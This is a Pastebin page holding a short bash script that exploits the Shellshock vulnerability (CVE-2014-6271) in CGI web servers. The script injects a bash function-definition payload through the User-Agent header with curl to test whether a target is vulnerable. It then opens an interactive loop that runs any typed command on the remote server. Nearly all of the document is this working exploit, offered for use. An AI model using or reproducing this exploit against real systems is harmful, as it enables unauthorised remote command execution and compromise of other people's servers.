Advertisement
fenix_of_fire

Mollusc_In_Shock

Dec 17th, 2017
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.92 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. #########################################################################
  4. ###############_____SHELL_SHOCK EXPLOIT CVE-2014-6271_____###############
  5. #########################################################################
  6.  
  7. clear;
  8. if [ "$1" == "" ];then
  9.     echo -e "#######################################\n## SHELL_SHOCK EXPLOIT CVE-2014-6271 ##\n#######################################\n"
  10.     echo -e "Usage: $0 target cgi_vuln";
  11.     echo -e "\t $0 192.168.1.1:8080 /cgi-bin/test.cgi"
  12.     echo -e "\n\n By:Init-0"
  13.     exit;
  14. fi
  15. POC=$(curl -s -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'echo vulnerable'" http://$1/$2 | grep -i "vulnerable")
  16. if [ "$POC" != "vulnerable" ];then
  17. echo "Target Not Vulnerable";
  18. exit;
  19. fi
  20.  
  21. while true; do
  22.     read -p "shell@shock:~# " command
  23.     if [ "$command" == "clear" ];then
  24.         clear;
  25.     fi
  26.     curl -s -H "user-agent: () { :; }; echo; echo; /bin/bash -c '$command'" http://$1/$2;
  27. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement